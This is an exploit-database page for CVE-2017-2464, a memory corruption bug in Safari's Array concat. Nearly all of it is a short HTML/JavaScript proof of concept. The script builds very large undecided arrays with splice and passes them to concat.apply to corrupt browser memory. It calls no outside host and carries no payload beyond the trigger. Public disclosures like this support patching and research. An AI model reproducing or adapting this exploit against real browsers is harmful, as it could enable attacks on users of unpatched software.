Sploitus

Exploit for Safari Browser: Memory corruption in Array concat

CVE-2017-2464

seebug · 2017-04-21

Exploit Code

MARKDOWN25 lines
## https://sploitus.com/exploit?id=SSV:92993
<html><body><script>

var a = [];
a.length = 0xffffff00;

var b = a.splice(0, 0x100000); // Undecided array

var args = [];
args.length = 4094;
args.fill(b);

var q = [];
q.length = 0x1000;
q.fill(7);

var c = a.splice(0, 0xfffef); //Shorter undecided array

args[4094] = c;
args[4095] = q;


b.concat.apply(b, args);

</script></body></html>